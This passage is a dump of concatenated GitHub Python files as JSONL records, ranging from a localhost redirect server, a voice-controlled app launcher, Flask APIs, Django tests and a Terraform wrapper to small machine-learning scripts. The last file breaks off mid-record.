+{"seq_id":"71430311367","text":"import http.server\nimport socketserver\nfrom http.server import HTTPServer, BaseHTTPRequestHandler, SimpleHTTPRequestHandler\nfrom pathlib import Path\nfrom io import BytesIO\nfrom PIL import Image\nimport os\n\nRUDP_FILESERVER_PORT = 3247\nRUDP_FILESERVER_IP = '127.0.0.3'\nTCP_FILESERVER_PORT = 2060\nTCP_FILESERVER_IP = '127.0.0.2'\nREDIRECTSERVER_IP = '127.0.0.1'\nREDIRECTSERVER_PORT = 2746\n\n\nclass RedirectServer(SimpleHTTPRequestHandler):\n\n    def do_GET(self):\n        token = self.headers.get('X-Auth-Token')\n        if token == 'tcp' or token == 'TCP':\n            if self.path == '/file_tcp.txt':\n                self.send_response(302)\n                self.send_header('Location', f'http://{TCP_FILESERVER_IP}:{TCP_FILESERVER_PORT}/file_tcp.txt')\n                self.end_headers()\n            elif self.path == '/image_tcp.jpg':\n                self.send_response(302)\n                self.send_header('Location', f'http://{TCP_FILESERVER_IP}:{TCP_FILESERVER_PORT}/image_tcp.jpg')\n                self.end_headers()\n            else:\n                self.send_error(404)\n        elif token == 'rudp' or token == 'RUDP':\n            if self.path == '/file_udp.txt':\n                self.send_response(302)\n                self.send_header('Location', f'http://{RUDP_FILESERVER_IP}:{RUDP_FILESERVER_PORT}/file_udp.txt')\n                self.end_headers()\n            elif self.path == '/image_udp.jpg':\n                self.send_response(302)\n                self.send_header('Location', f'http://{RUDP_FILESERVER_IP}:{RUDP_FILESERVER_PORT}/image_udp.jpg')\n                self.end_headers()\n            else:\n                self.send_error(404)\n\n\nif __name__ == '__main__':\n    server_address = (REDIRECTSERVER_IP, REDIRECTSERVER_PORT)\n    server = (HTTPServer(server_address, RedirectServer))\n    print(f\"SERVER IP and PORT: {REDIRECTSERVER_IP}:{REDIRECTSERVER_PORT}\")\n    print(\"Waiting for connection...\")\n    server.serve_forever()\n","repo_name":"yevgenyivanov/Networking_Proj","sub_path":"redirectserver.py","file_name":"redirectserver.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71432569927","text":"import sys\nimport signal\nfrom snowboylib import snowboydecoder\nimport os\nimport Levenshtein\nfrom math import inf\nimport speech_recognition as sr\n\n# from gtts import gTTS\n\ninterrupted = False\n\n\n# configuration to use pyttsx3 as voice engine\n\n# import pyttsx3 as tts\n# engine = tts.init()\n# voices = engine.getProperty(\"voices\")\n# rate = engine.getProperty(\"rate\")\n# print(rate)\n# engine.setProperty(\"rate\", 210.0)\n# engine.setProperty(\"voice\", \"com.apple.speech.synthesis.voice.fiona\")\n# engine.setProperty(\"voice\", \"com.apple.speech.synthesis.voice.samantha\")\n\n\ndef collect_computer_programs():\n    programs = set()\n    with os.scandir(\"/Applications/\") as entries:\n        for entry in entries:\n            programs.add(entry.name)\n        return programs\n\ndef signal_handler(signal, frame):\n    global interrupted\n    interrupted = True\n\ndef say(s):\n    # engine.say(s)\n    # engine.runAndWait()\n    # gTTS(text)\n    os.system(\"say {0} -v fiona -r 210\".format(s.replace(\"\\'\", \"\")))\n\n\ndef interrupt_callback():\n    global interrupted\n    return interrupted\n\n\ndef openApp(name):\n    newname = ''.join(' ' + char if char.isupper() else char for char in name).strip() + \".app\"\n\n    print(\"I heard {0}\".format(newname))\n\n    best_score = inf\n    candidate = None\n    for program in programs:\n        score = Levenshtein.distance(newname, program)\n        if score < best_score:\n            best_score = score\n            candidate = program\n\n    path = candidate.replace(\" \", \"\\\\ \")\n\n    say(\"launching {0}\".format(candidate))\n\n    os.system(\"open /Applications/\"+path)\n\n\ndef listening():\n    print(\"Hi! I am now listening\")\n    say(\"what's up man\")\n\n    detector.terminate()\n    mic = sr.Microphone()\n    rec = sr.Recognizer()\n\n    with mic as source:\n        audio = rec.listen(source=source)\n\n    try:\n        text = rec.recognize_google(audio)\n\n    except sr.UnknownValueError:\n        print(\"Google could not understand audio\")\n\n    except sr.RequestError as e:\n        print(\"Could not request results from shpinx service; {0}\".format(e))\n\n    if text:\n        interpret(text)\n\n    detector.start(detected_callback=listening,\n                   interrupt_check=interrupt_callback,\n                   sleep_time=0.03)\n\n\ndef interpret(text):\n\n    if \"open\" in text or \"launch\" in text:\n        words = text.split()\n        i = words.index(\"open\") if \"open\" in text else words.index(\"launch\")\n        openApp(\"\".join(words[i+1:]))\n\n    elif \"nothing\" in text:\n        say(\"ok sorry\")\n\n    else:\n        answer = \"You said {0}, but you know I am not yet programmed to answer to that\".format(text.replace(\"\\'\", \"\"))\n        # os.system(\"say {0}\".format(answer))\n        say(answer)\n\n\nif len(sys.argv) == 1:\n    print(\"Error: need to specify model name\")\n    print(\"Usage: python demo.py your.model\")\n    sys.exit(-1)\n\nmodel = sys.argv[1]\n\nprograms = collect_computer_programs()\n\n# capture SIGINT signal, e.g., Ctrl+C\nsignal.signal(signal.SIGINT, signal_handler)\n\ndetector = snowboydecoder.HotwordDetector(model, sensitivity=0.5)\nprint('Listening... Press Ctrl+C to exit')\n\n# main loop\ndetector.start(detected_callback=listening,\n               interrupt_check=interrupt_callback,\n               sleep_time=0.03)\n\ndetector.terminate()\n","repo_name":"giorgioskij/hey-man","sub_path":"heyman/core/demo2.py","file_name":"demo2.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7129463122","text":"'''\n<table class=\"ee-notebook-buttons\" align=\"left\"><td>\n<a target=\"_blank\"  href=\"https://colab.research.google.com/github/giswqs/geehydro/blob/master/examples/geehydro-tutorials.ipynb\">\n    <img src=\"https://www.tensorflow.org/images/colab_logo_32px.png\" /> Run in Google Colab</a>\n</td><td>\n<a target=\"_blank\"  href=\"https://github.com/giswqs/geehydro/tree/master/examples/geehydro-tutorials.ipynb\"><img width=32px src=\"https://www.tensorflow.org/images/GitHub-Mark-32px.png\" /> View source on GitHub</a></td><td>\n<a target=\"_blank\"  href=\"https://nbviewer.jupyter.org/github/giswqs/geehydro/blob/master/examples/geehydro-tutorials.ipynb\"><img width=26px src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/3/38/Jupyter_logo.svg/883px-Jupyter_logo.svg.png\" />Notebook Viewer</a></td><td>\n<a target=\"_blank\"  href=\"https://mybinder.org/v2/gh/giswqs/geehydro/master?filepath=Folium%2Fee-api-folium-setup.ipynb\"><img width=58px src=\"https://mybinder.org/static/images/logo_social.png\" />Run in binder</a></td></table>\n'''\n\n# %%\n# !pip install geehydro\n\n# %%\nimport ee\nimport folium\nimport geehydro\n\n# %%\nee.Authenticate()\nee.Initialize()\n\n# %%\nMap = folium.Map(location=[40, -100], zoom_start=4)\nMap.setOptions('HYBRID')\n\n# %%\ndataset = ee.FeatureCollection('projects/google/wrs2_descending')\nempty = ee.Image().byte()\n\n# %%\nMap.setCenter(-78, 36, 8)\nMap.addLayer(empty.paint(dataset, 0, 2), {}, 'Landsat WRS-2 grid')\nMap.setControlVisibility(layerControl=True, fullscreenControl=True, latLngPopup=True)\nMap\n\n# %%\n","repo_name":"giswqs/geehydro","sub_path":"examples/landsat_wrs2_grid.py","file_name":"landsat_wrs2_grid.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"16"}
+{"seq_id":"70874496969","text":"try:\n    from setuptools import setup\nexcept ImportError:\n    from distutils.core import setup\nimport os\n\nthis_dir = os.path.dirname(__file__)\nreadme_filename = os.path.join(this_dir, 'README.md')\nrequirements_filename = os.path.join(this_dir, 'requirements.txt')\n\nPACKAGE_NAME = 'python-jptk'\nPACKAGE_VERSION = '1.0.0'\nPACKAGE_AUTHOR = 'Hao Hoang'\nPACKAGE_AUTHOR_EMAIL = 'haohoangofficial@gmail.com'\nPACKAGE_URL = 'https://github.com/haohoangofficial/jptk'\nPACKAGE_DOWNLOAD_URL = \\\n    'https://github.com/haohoangofficial/jptk/tarball/' + PACKAGE_VERSION\nPACKAGES = [\n    'jptk'\n]\nPACKAGE_DATA = {}\nPACKAGE_LICENSE = 'LICENSE.txt'\nPACKAGE_DESCRIPTION = 'Python Japanese Toolkit'\n\nwith open(readme_filename) as f:\n    PACKAGE_LONG_DESCRIPTION = f.read()\n\nwith open(requirements_filename) as f:\n    PACKAGE_INSTALL_REQUIRES = [line[:-1] for line in f]\n\nsetup(\n    name=PACKAGE_NAME,\n    version=PACKAGE_VERSION,\n    author=PACKAGE_AUTHOR,\n    author_email=PACKAGE_AUTHOR_EMAIL,\n    url=PACKAGE_URL,\n    download_url=PACKAGE_DOWNLOAD_URL,\n    packages=PACKAGES,\n    package_data=PACKAGE_DATA,\n    license=PACKAGE_LICENSE,\n    description=PACKAGE_DESCRIPTION,\n    long_description=PACKAGE_LONG_DESCRIPTION,\n    install_requires=PACKAGE_INSTALL_REQUIRES,\n    long_description_content_type=\"text/markdown\",\n)\n","repo_name":"haohoangofficial/jptk","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33907377560","text":"import random, collections\nfrom nltk.corpus import wordnet\n\ndef wordise(word):\n    return word[:(len(word) - 5)]\n\nclass markov(object):\n    words = []\n    def __init__(self):\n        self.cache = {}\n        \n    def addfile(self, filename):\n        self.f = open(filename, 'r')\n        self.addwords(self.file_words())\n        self.db()\n    \n    def addwords(self, wrds):\n        for word in wrds.split():\n            newword = wordnet.morphy(word)\n            if newword:\n                self.words.append(newword)\n        self.db()\n        \n        \n    def file_words(self):\n        self.f.seek(0)\n        data = self.f.read()\n        return data\n        \n    def triples(self):\n        if len(self.words) < 3:\n            return\n        for i in range(len(self.words) - 2):\n            yield (self.words[i], self.words[i + 1], self.words[i + 2])\n        \n    def db(self):\n        for w1, w2, w3 in self.triples():\n            key = (w1, w2)\n            if key in self.cache:\n                self.cache[key].append(w3)\n            else:\n                self.cache[key] = [w3]\n            \n    def gen(self, size = 30):\n        if len(self.words) < 5:\n            return ' '\n        seed = random.randint(0, len(self.words) - 3)\n        sword, nword = self.words[seed], self.words[seed + 1]\n        w1, w2 = sword, nword\n        gen_words = []\n        for i in xrange(size):\n            gen_words.append(w1)\n            try:\n                w1, w2 = w2, random.choice(self.cache[(w1, w2)])\n            except:\n                w1, w2 = w2, random.choice(self.words)\n        gen_words.append(w2)\n        return ' '.join(gen_words)\n","repo_name":"ristew/markov-reddit","sub_path":"markov.py","file_name":"markov.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"819271973","text":"from django.test import TestCase\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.db import transaction\nimport datetime\n\nfrom fms_core.template_importer.importers import ProjectStudyLinkSamples\nfrom fms_core.tests.test_template_importers._utils import load_template, APP_DATA_ROOT, TEST_DATA_ROOT\n\nfrom fms_core.models import SampleKind, Taxon, DerivedSample, Workflow, Study, SampleNextStep, StepOrder\n\nfrom fms_core.services.container import create_container\nfrom fms_core.services.individual import get_or_create_individual\nfrom fms_core.services.sample import create_full_sample\nfrom fms_core.services.project import create_project\nfrom fms_core.services.project_link_samples import create_link\nfrom fms_core.services.sample_next_step import queue_sample_to_study_workflow\n\n\n\nclass ProjectStudyLinkSamplesTestCase(TestCase):\n    def setUp(self) -> None:\n        self.importer = ProjectStudyLinkSamples()\n        self.file = APP_DATA_ROOT / \"Project_study_link_samples_v4_0_0.xlsx\"\n        ContentType.objects.clear_cache()\n\n        self.invalid_template_tests = [\"Project_study_link_samples_v4_0_0_invalid_project.xlsx\",\n                                       \"Project_study_link_samples_v4_0_0_invalid_sample.xlsx\",]\n\n        self.warning_template_tests = [\"Project_study_link_samples_v4_0_0_invalid_sample_2.xlsx\",\n                                       \"Project_study_link_samples_v4_0_0_invalid_sample_3.xlsx\",]\n\n        #Projects for Link\n        self.project1_name = 'ProjectTest1'\n        self.project2_name = 'ProjectTest2'\n        self.project3_name = 'ProjectTest3'\n\n        #Samples for Link\n        self.sample1_name = 'SampleTestForLink1'\n        self.sample2_name = 'SampleTestForLink2'\n        self.sample3_name = 'SampleTestForUnlink'\n\n        #For studies \n        self.study_letter1 = \"A\"\n        self.study_letter2 = \"B\"\n        self.start = 2\n        self.end = 7\n\n        self.prefill_data()\n\n    def prefill_data(self):\n        sample_kind, _ = SampleKind.objects.get_or_create(name='DNA')\n        taxon = Taxon.objects.get(name='Homo sapiens')\n        \n\n        container1, errors, warnings = create_container(barcode='CONTAINER4PROJECTLINKSAMPLES1', kind='Tube', name='Container4ProjectLinkSamples1')\n        container2, errors, warnings = create_container(barcode='CONTAINER4PROJECTLINKSAMPLES2', kind='Tube', name='Container4ProjectLinkSamples2')\n        container3, errors, warnings = create_container(barcode='CONTAINER4PROJECTLINKSAMPLES3', kind='Tube', name='Container4ProjectLinkSamples3')\n\n        individual, _, errors, warnings = get_or_create_individual(name='Individual4ProjectLinkSamples', taxon=taxon)\n\n        self.sample1, _, _ = create_full_sample(name=self.sample1_name, volume=100, concentration=25,\n                                                collection_site='TestCaseSite', creation_date=datetime.datetime(2021, 1, 15, 0, 0),\n                                                container=container1, individual=individual, sample_kind=sample_kind)\n\n        self.sample2, _, _ = create_full_sample(name=self.sample2_name, volume=80, concentration=20,\n                                                collection_site='TestCaseSite', creation_date=datetime.datetime(2021, 1, 15, 0, 0),\n                                                container=container2, individual=individual, sample_kind=sample_kind)\n\n        self.sample3, _, _ = create_full_sample(name=self.sample3_name, volume=80, concentration=20,\n                                                collection_site='TestCaseSite', creation_date=datetime.datetime(2021, 1, 15, 0, 0),\n                                                container=container3, individual=individual, sample_kind=sample_kind)\n\n        self.project1, _, _ = create_project(name=self.project1_name)\n        self.project2, _, _ = create_project(name=self.project2_name)\n        self.project3, _, _ = create_project(name=self.project3_name)\n\n        #Studies \n        self.workflow1 = Workflow.objects.get(name=\"PCR-free Illumina\")\n        self.workflow2 = Workflow.objects.get(name=\"PCR-enriched Illumina\")\n        self.study1 = Study.objects.create(letter=self.study_letter1,\n                                           project=self.project1,\n                                           workflow=self.workflow1,\n                                           start=self.start,\n                                           end=self.end)\n        \n        self.study2 = Study.objects.create(letter=self.study_letter2,\n                                           project=self.project1,\n                                           workflow=self.workflow1,\n                                           start=self.start,\n                                           end=self.end)\n\n        #Create link manually to test REMOVE project action\n        create_link(sample=self.sample3, project=self.project3)\n\n        #Queue sample manually to study 2 to test REMOVE study (create link to bypass the project validation)\n        create_link(sample=self.sample3, project=self.project1)\n        queue_sample_to_study_workflow(sample_obj=self.sample3, study_obj=self.study2)\n\n    def test_import(self):\n        # Basic test for all templates - checks that template is valid\n        result = load_template(importer=self.importer, file=self.file)\n        self.assertEqual(result['valid'], True)\n\n        #Custom tests for each template\n        self.assertEqual(len(DerivedSample.objects.filter(project__isnull=False).all()), 3)\n        self.assertFalse(DerivedSample.objects.filter(samples=self.sample1, project=self.project3).exists())\n        self.assertTrue(DerivedSample.objects.filter(samples=self.sample1, project=self.project1).exists())\n        self.assertTrue(DerivedSample.objects.filter(samples=self.sample2, project=self.project2).exists())\n        self.assertFalse(DerivedSample.objects.filter(samples=self.sample3, project=self.project3).exists())\n\n        # Test that sample 1 is queued twice in the same workflow but different steps\n        self.assertEqual(SampleNextStep.objects.filter(sample=self.sample1, studies=self.study1).count(), 2)\n\n        step_order_1 = StepOrder.objects.get(order=2, workflow=self.study1.workflow)\n        self.assertTrue(SampleNextStep.objects.filter(sample=self.sample1,\n                                                      sample_next_step_by_study__study=self.study1,\n                                                      sample_next_step_by_study__step_order=step_order_1).exists())\n\n        step_order_2 = StepOrder.objects.get(order=3, workflow=self.study1.workflow)\n        self.assertTrue(SampleNextStep.objects.filter(sample=self.sample1,\n                                                      sample_next_step_by_study__study=self.study1,\n                                                      sample_next_step_by_study__step_order=step_order_2).exists())\n\n        # Test that sample 3 was successfully removed from study\n        self.assertFalse(SampleNextStep.objects.filter(sample=self.sample3, studies=self.study2).exists())\n\n    def test_invalid_project_study_link_samples(self):\n        for f in self.invalid_template_tests:\n            s = transaction.savepoint()\n            result = load_template(importer=self.importer, file=TEST_DATA_ROOT / f)\n            self.assertEqual(result['valid'], False)\n            transaction.savepoint_rollback(s)\n\n    def test_warning_project_study_link_samples(self):\n        for f in self.warning_template_tests:\n            s = transaction.savepoint()\n            result = load_template(importer=self.importer, file=TEST_DATA_ROOT / f)\n            self.assertEqual(result['valid'], True)\n            self.assertEqual(len(result[\"result_previews\"][0][\"rows\"][0]['warnings']), 1)\n            transaction.savepoint_rollback(s)\n\n","repo_name":"c3g/freezeman","sub_path":"backend/fms_core/tests/test_template_importers/project_study_link_samples_test.py","file_name":"project_study_link_samples_test.py","file_ext":"py","file_size_in_byte":7789,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"74921695049","text":"\nfrom selenium.common.exceptions import TimeoutException\n\nfrom base.base_driver import Base\nfrom base.findelement import PageElements\n\n\nclass HomePage(Base):\n\n    def __init__(self):\n        super().__init__()\n\n    def click_my_btn(self):\n        \"\"\"点击我的\"\"\"\n        try:\n            # 点击稍后更新\n            self.click_ele(PageElements.home_update_later_xpath)\n        except TimeoutException:\n            print(\"当前版本app没有更新提示框\")\n        # 点击我的\n        self.click_ele(PageElements.home_my_btn_id)\n","repo_name":"zhaoweijie327/project","sub_path":"page/homepage.py","file_name":"homepage.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6120019004","text":"from http import HTTPStatus\nfrom flask import jsonify, request, current_app\nfrom app.Models.vacinas_models import CardVacinas\nfrom datetime import datetime, timedelta\nfrom sqlalchemy.exc import IntegrityError\nfrom werkzeug.exceptions import NotFound\nfrom sqlalchemy.exc import DataError\nfrom werkzeug.exceptions import BadRequest\n\n\n\ndef create_vaccinations():\n\n    try:\n        data = request.get_json()\n\n        today_date = datetime.today()\n        td = timedelta(90)\n\n        new_data = {\n            \"cpf\": data[\"cpf\"],\n            \"name\": data[\"name\"].title(),\n            \"first_shot_date\": today_date,\n            \"second_shot_date\": today_date + td,\n            \"vaccine_name\": data[\"vaccine_name\"],\n            \"health_unit_name\": data[\"health_unit_name\"].capitalize()\n        }\n\n        vaccinations = CardVacinas(**new_data)\n\n        current_app.db.session.add(vaccinations)\n        current_app.db.session.commit()\n\n        return jsonify(vaccinations), HTTPStatus.CREATED\n\n    except IntegrityError as e:\n        text = str(e).split(\"cpf\")[1].split(\"already\")[0].replace(\"(\", \"\").replace(\")\", \"\").replace(\" \", \"\").replace(\"=\", \"\")\n        return {\"error\": f\"{text} already exists!\"}, HTTPStatus.CONFLICT\n    except TypeError as e:\n        return {\"error\": f\"{e}\"}, HTTPStatus.CONFLICT\n    except KeyError as e:\n        return {\"error\": f\"{e}\"}, HTTPStatus.BAD_REQUEST\n    except AttributeError as e:\n        return {\"error\": f\"{e}\"}, HTTPStatus.BAD_REQUEST\n    except (DataError, BadRequest):\n        return {\"error\": {\n            \"cpf\": \"str of numbers max(11)\",\n            \"name\": \"str\",\n            \"vaccine_name\": \"str\",\n            \"health_unit_name\": \"str\"\n        }}, HTTPStatus.BAD_REQUEST\n\ndef get_all_vaccinations():\n    vaccinations = (\n        CardVacinas\n        .query\n        .all()\n    )\n\n    return jsonify(vaccinations), HTTPStatus.OK\n\n\ndef get_one_vaccinations(cpf):\n    try:\n        vaccinations = (\n            CardVacinas\n            .query\n            .get_or_404(cpf, description=f\"{cpf} not found!\")\n        )\n\n        return jsonify(vaccinations), HTTPStatus.OK\n    except NotFound as e:\n        return {\"error\": f\"{cpf} not found!\"}, HTTPStatus.BAD_REQUEST\n\ndef get_one_vaccinations_name(nome):\n    try:\n        vaccinations = (\n            CardVacinas\n            .query\n            .filter_by(name=nome)\n            .first()\n        )\n\n        return jsonify(vaccinations), HTTPStatus.OK\n    except NotFound:\n        return {\"error\": f\"{nome} not found!\"}, HTTPStatus.BAD_REQUEST\n\n\n    ","repo_name":"serafimmatheus/entrega_14-vacinacao","sub_path":"app/Controllers/vacinas_controllers.py","file_name":"vacinas_controllers.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19230890892","text":"#!/usr/local/bin/python\nimport os\nimport subprocess\nimport sys\n\n\ndef usage():\n    return \"\"\"Usage:\n    NOTE: All options are positional and required\n    command --path=\"\" --workspace=default --options=\"\" --dryrun=false --destroy=false --destroy-workspace=false\n    \n    --path               This is the directory that contains your terraform files. Pass empty string (\"\") for current working directory\n    --workspace          This is the terraform workspace that will be created if necessary. Pass \"default\" if you don't want to create new one\n    --options            This is any extra options that you want to pass to terraform command. For example \"-var=foo=bar\". Pass empty string (\"\") for no options\n    --dryrun             If true terraform plan will be executed even if destroy option is true\n    --destroy            If true terraform destroy will be executed. In case of dryrun terraform plan -destroy will be executed\n    --destroy-workspace  If true then it will delete workspace as the final step when destroying. It switches to the \"default\" workspace before deleting current one\n    \"\"\"\n\n\ndef run(cmd, capture=False):\n    cmds = [opt.strip() for opt in cmd.split(\" \") if opt.strip() != \"\"]\n    return subprocess.run(cmds, capture_output=capture, check=True)\n\n\ndef get_workspace(path):\n    def cmd(opt):\n        return f\"terraform -chdir={path} {opt}\"\n\n    p = run(cmd(\"workspace show\"), capture=True)\n    current_ws = p.stdout.decode().strip()\n\n    p = run(cmd(\"workspace list\"), capture=True)\n    ws_list = p.stdout.decode().split(\"\\n\")\n    workspaces = [ws.strip() for ws in ws_list if ws != \"\" and current_ws not in ws]\n    # append current one separately because, the terraform stdout adds an asterix (*) to the selected workspace\n    workspaces.append(current_ws)\n\n    return workspaces, current_ws\n\n\n# TODO: features;\n#  add retry\n#  add timeout\n# FIXME: improvements:\n#  add cmd parser to make optional non-positional args\nif __name__ == '__main__':\n    if len(sys.argv) < 7:\n        sys.exit(usage())\n\n\n    def parse_arg(key, arg):\n        if not arg.startswith(f\"--{key}=\"):\n            print(\"this\", key)\n            print(\"this\", arg)\n            sys.exit(usage())\n        return arg.split(f\"--{key}=\")[-1]\n\n\n    path_arg = parse_arg(\"path\", sys.argv[1])\n    path = path_arg if path_arg else os.getcwd()\n\n    desired_ws = parse_arg(\"workspace\", sys.argv[2])\n    has_workspace = not desired_ws == \"default\"\n\n    extra_opt = parse_arg(\"options\", sys.argv[3])\n\n    # arg4 is dryrun. The result of boolean says if we do apply or plan\n    apply = parse_arg(\"dryrun\", sys.argv[4]) == 'false'\n\n    destroy_arg = parse_arg(\"destroy\", sys.argv[5])\n    if destroy_arg == 'true':\n        destroy = True\n    elif destroy_arg == 'false':\n        destroy = False\n    else:\n        sys.exit(\"destroy options must be set explicitly and correctly. Either \\\"true\\\" or \\\"false\\\"\")\n\n    destroy_ws = parse_arg(\"destroy-workspace\", sys.argv[6]) == \"true\"\n    if (destroy_ws and not destroy) or (destroy_ws and destroy and not apply):\n        sys.exit(\"you can only destroy workspace if operation is also destroy and also not dryrun\")\n\n\n    def cmd(opt):\n        return f\"terraform -chdir={path} {opt} {extra_opt}\"\n\n\n    run(cmd(\"init\"))\n\n    all_ws, current_ws = get_workspace(path)\n    if destroy and desired_ws not in all_ws:\n        sys.exit(f\"request for destroying a workspace ({desired_ws}) that doesn't exist\")\n\n    if has_workspace:\n        if desired_ws not in all_ws:\n            run(cmd(f\"workspace new {desired_ws}\"))\n        elif desired_ws != current_ws:\n            run(cmd(f\"workspace select {desired_ws}\"))\n\n    if apply:\n        if destroy:\n            run(cmd(f\"destroy -auto-approve\"))\n        else:\n            run(cmd(f\"apply -auto-approve\"))\n    else:\n        if destroy:\n            run(cmd(f\"plan -destroy\"))\n        else:\n            run(cmd(f\"plan\"))\n\n    if destroy_ws and desired_ws != \"default\":\n        run(cmd(\"workspace select default\"))\n        run(cmd(f\"workspace delete {desired_ws}\"))\n","repo_name":"artronics/terraform-flow-action","sub_path":"entrypoint.py","file_name":"entrypoint.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17188823032","text":"\nweight = 0.5\ninput = 0.5\n\ngoal_pred = 0.8\nprint(\"Real deal:\", goal_pred)\n\npred = input * weight\nprint(\"Prediction of our NN:\", pred)\n\nerror = (pred - goal_pred) ** 2\n\nprint(\"Error RMS:\", round(error, 4))\n\n\n# cold/hot method\n\nweight = 0.5\nweight_step = 0.001\n\ninput = 0.5\ngoal_pred = 0.8\n\nfor i in range(1101):\n\tpred = round(input * weight, 10)\n\terror = round((pred - goal_pred) ** 2, 10)\n\n\tprint(\"Error:\", str(error), \" Prediction:\", round(pred, 10))\n\n\tup_pred = input * (weight + weight_step)\n\tup_error = (up_pred - goal_pred) ** 2\n\n\tdn_pred = input * (weight - weight_step)\n\tdn_error = (dn_pred - goal_pred) ** 2\n\n\tif (dn_error < up_error):\n\t\tweight -= weight_step\n\tif (dn_error > up_error):\n\t\tweight += weight_step\n","repo_name":"theSaintBelial/theSaintBelial","sub_path":"grokaem_dl/nn_check_and_learning_proccess.py","file_name":"nn_check_and_learning_proccess.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23912453819","text":"from flask import Flask,Response,request,jsonify\r\nfrom trie import Trie\r\nfrom encrypt import hash_keyword\r\nimport json\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route(\"/\")\r\ndef hello():\r\n  return \"Hello World!\"\r\n\r\n\r\n@app.route('/search',methods = ['POST'])\r\ndef search_keyword():\r\n    keyword = request.json\r\n    \r\n    if 'input' in keyword:\r\n        input_text = keyword['input']\r\n        \r\n        hashed_keyword_ = hash_keyword(input_text)\r\n        result = trie.search(hashed_keyword_)\r\n\r\n        return jsonify({\"response\": result})\r\n    else:\r\n        return jsonify({\"error\": \"Input not provided\"}), 400\r\n\r\n@app.route('/update_index', methods = ['POST'])\r\ndef update_keyword():\r\n    keyword = request.json\r\n    #metadata = keyword['metadata']\r\n    \r\n    for i in keyword:\r\n        existing_values = trie.search(i)\r\n        if existing_values:\r\n            if keyword[i] not in existing_values:\r\n                trie.insert(i, keyword[i])\r\n                #trie.save_to_json_file(\"../trienew.json\")\r\n            else:\r\n                pass\r\n        else:\r\n            trie.insert(i, keyword[i])\r\n    trie.save_to_json_file(\"../trienew.json\")\r\n    return \"Index Updated\"\r\n\r\n\r\n\r\n\r\n@app.route('/connect')\r\ndef connect():\r\n    \r\n    global trie\r\n    trie = load_index()\r\n    Response(\"Index Loaded\")\r\n    return \"connected\"\r\n\r\ndef load_index():\r\n    try:\r\n        with open(\"../trienew.json\", \"r\") as f:\r\n            trie_data = json.load(f)\r\n            trie = Trie.from_json(trie_data)\r\n    except FileNotFoundError:\r\n        trie = Trie()\r\n    \r\n    return trie\r\n\r\n\r\nif __name__ == \"__main__\":\r\n  trie = load_index()\r\n  app.run(debug=True)","repo_name":"arnonssnual/searchable_encryption","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6135179844","text":"import sys\ninput = sys.stdin.readline\n\n# dp 문제 어려워잉\nt = int(input())\nfor _ in range(t):\n    n = int(input())\n    if n == 1:\n        print(1)\n    elif n == 2:\n        print(2)\n    elif n == 3:\n        print(4)\n    else:\n        li = [1, 2, 4]\n        for i in range(3, n):\n            li.append(li[i-3]+li[i-2]+li[i-1])\n        print(li[-1])\n","repo_name":"serajang99/PreparingCodingTest","sub_path":"BOE/class3/class3+/9095_123더하기.py","file_name":"9095_123더하기.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"27736503928","text":"import tensorflow as tf\nfrom tensorflow.keras.callbacks import Callback\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport logging\nimport os\nfrom config.img_classification_config import ConfigObj\n\nclass CosineAnnealer:\n    def __init__(self, start, end, steps):\n        self.start = start\n        self.end = end\n        self.steps = steps\n        self.n = 0\n\n    def step(self):\n        self.n += 1\n        cos = np.cos(np.pi * (self.n / self.steps)) + 1\n        return self.end + (self.start - self.end) / 2. * cos\n\n\nclass OneCycleScheduler(Callback):\n    \"\"\" `Callback` that schedules the learning rate on a 1cycle policy as per Leslie Smith's paper(https://arxiv.org/pdf/1803.09820.pdf).\n    If the model supports a momentum parameter, it will also be adapted by the schedule.\n    The implementation adopts additional improvements as per the fastai library: https://docs.fast.ai/callbacks.one_cycle.html, where\n    only two phases are used and the adaptation is done using cosine annealing.\n    In phase 1 the LR increases from `lr_max / div_factor` to `lr_max` and momentum decreases from `mom_max` to `mom_min`.\n    In the second phase the LR decreases from `lr_max` to `lr_max / (div_factor * 1e4)` and momemtum from `mom_max` to `mom_min`.\n    By default the phases are not of equal length, with the phase 1 percentage controlled by the parameter `phase_1_pct`.\n\n    Reference: https://github.com/kumarvis/My-TechNotes/blob/master/Notes4-MLDL/Understanding-Research-Papers/\n    VisionPapers/SuperConvergence-1CyclePolicy.md\n    Reference: https://www.avanwyk.com/tensorflow-2-super-convergence-with-the-1cycle-policy/\n\n    \"\"\"\n\n    def __init__(self, lr_max, steps, mom_min=0.85, mom_max=0.95, phase_1_pct=0.3, div_factor=25.):\n        super(OneCycleScheduler, self).__init__()\n        lr_min = lr_max / div_factor\n        final_lr = lr_max / (div_factor * 1e4)\n        phase_1_steps = 